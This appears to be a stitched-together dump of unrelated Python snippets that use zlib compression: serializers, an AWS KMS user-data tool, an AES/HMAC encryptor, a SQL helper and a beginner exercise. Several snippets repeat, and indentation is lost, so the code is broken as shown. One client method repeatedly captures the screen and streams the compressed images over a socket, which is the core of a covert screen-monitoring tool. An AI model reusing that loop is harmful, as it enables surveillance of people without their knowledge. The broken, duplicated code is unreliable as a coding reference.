def dumps(cls, obj, protocol=2):
s = dumps(obj, protocol)
sz = zlib.compress(s, 9)
if len(sz) < len(s):
return sz
else:
return s
def dumps(cls, obj, protocol=2):
s = dumps(obj, protocol)
sz = zlib.compress(s, 9)
if len(sz) < len(s):
return sz
else:
return s
def run(self, **kwargs):
self.kwargs = kwargs
try:
key_id = self.kwargs['key_id']
if self.kwargs['data'].startswith('@'):
path = self.kwargs['data'][1:]
try:
with open(path, 'rb') as fh:
data = fh.read(-1)
except Exception as ex:
self.log.exception(
'Failed loading data from file: {}'.format(ex))
return
else:
data = kwargs['data']
session = get_local_aws_session()
if session.get_credentials().method != 'iam-role':
kms_account_name = app_config.kms_account_name
if not kms_account_name:
print(
'you must set the kms_account_name setting in your configuration file to the name of the '
'account that is able to decrypt the user data')
return
acct = Account.get(kms_account_name)
if not acct:
print(
'You must add the {} account to the system for this to work'
.format(kms_account_name))
return
session = get_aws_session(acct)
kms = session.client('kms',
region_name=self.dbconfig.get(
'region', self.ns, 'us-west-2'))
if kwargs['mode'] == 'encrypt':
if not kwargs['key_id']:
print(
'You must provide a key id to use for encryption to work'
)
return
compressed = zlib.compress(
bytes(json.dumps(json.loads(data)), 'utf-8'))
res = kms.encrypt(KeyId=key_id, Plaintext=compressed)
self.output(res['CiphertextBlob'])
else:
res = kms.decrypt(CiphertextBlob=b64decode(data))
self.output(
json.dumps(json.loads(
str(zlib.decompress(res['Plaintext']), 'utf-8')),
indent=4))
except Exception:
self.log.exception(
'An error occured while doing userdata.py stuff')
def _generic_serialize(cls, *obj):
"""Serialization of general objects using cPickle and optional gzip compression"""
if len(obj) == 1:
obj = obj[0]
res = dumps(obj)
if Config.COMPRESS_SERIALIZATION and \
len(res) > Config.COMPRESS_LIM and \
len(obj) >= 4: # Avoid multiple compressing
return zlib.compress(res)
else:
return "P" + res
def zlib_compress(args):
compressionLevel = int(args[1], 0) if len(args) > 1 else None
startAddr = int(args[2], 0) if len(args) > 2 else None
endAddr = int(args[3], 0) if len(args) > 3 else None
inFile = open(args[0], 'rb').read()
compressedData = zlib.compress(inFile[startAddr:endAddr], compressionLevel)
outFile = open(args[0] + ".comp", 'wb')
outFile.write(compressedData)
outFile.close()
def zlib_compress(args):
compressionLevel = int(args[1], 0) if len(args) > 1 else None
startAddr = int(args[2], 0) if len(args) > 2 else None
endAddr = int(args[3], 0) if len(args) > 3 else None
inFile = open(args[0], 'rb').read()
compressedData = zlib.compress(inFile[startAddr:endAddr], compressionLevel)
outFile = open(args[0] + ".comp", 'wb')
outFile.write(compressedData)
outFile.close()
def start(self): sock = self.create_socket() while True: try: stream_buffer = io.BytesIO() ImageGrab.grab().save(stream_buffer,'PNG') screenshot = stream_buffer.getvalue() # Compress screenshot screenshot = zlib.compress(screenshot) sock.sendall(screenshot) time.sleep(0.1) except: print "[!] Error starting client.... trying again" time.sleep(2)
def _encrypt_userdata(cleartext, secret):
hmacKey, encKey, salt = _derive_keys(secret)
# get 128 bit random iv
iv = os.urandom(16)
# Add HMAC to cleartext so that we can check during decrypt if we got
# the right cleartext back. We are doing sign-then-encrypt, which lets
# us encrypt empty cleartext (otherwise we'd need to pad with some
# string to encrypt). Practical Cryptography by Schneier & Ferguson
# also recommends doing it in this order in section 8.2.
mac = hmac.new(hmacKey, cleartext + iv + salt, hashlib.sha256).hexdigest()
ciphertext = _encipher(
zlib.compress(cleartext + to_bytes(mac)), encKey, iv, algorithms.AES)
return (
base64.b64encode(iv + salt + ciphertext)
.strip()
.replace(b'\n', b'')
)
def gz(*args):
"""
.. function:: gz(text) -> gzip compressed blob
Function *gz* compresses its input with gzip's maximum compression level.
Examples:
>>> table1('''
... "qwerqewrqwerqwerqwerqwerqwer"
... "asdfasdfasdfasdfasdfasdfsadf"
... ''')
>>> sql("select length(a), length(gz(a)) from table1")
length(a) | length(gz(a))
-------------------------
28 | 20
28 | 18
"""
return buffer(zlib.compress(args[0], 9))
def gz(*args):
"""
.. function:: gz(text) -> gzip compressed blob
Function *gz* compresses its input with gzip's maximum compression level.
Examples:
>>> table1('''
... "qwerqewrqwerqwerqwerqwerqwer"
... "asdfasdfasdfasdfasdfasdfsadf"
... ''')
>>> sql("select length(a), length(gz(a)) from table1")
length(a) | length(gz(a))
-------------------------
28 | 20
28 | 18
"""
return buffer(zlib.compress(args[0], 9))
"""Please write a program to compress and decompress the string "hello world!hello world!hello world!hello world!"."""
from gzip import zlib as z
strr = '"hello world!hello world!hello world!hello world!"'
strr = strr.encode('utf-8')
t = z.compress(strr, 1)
print(t)
t = z.decompress(t)
print(t)
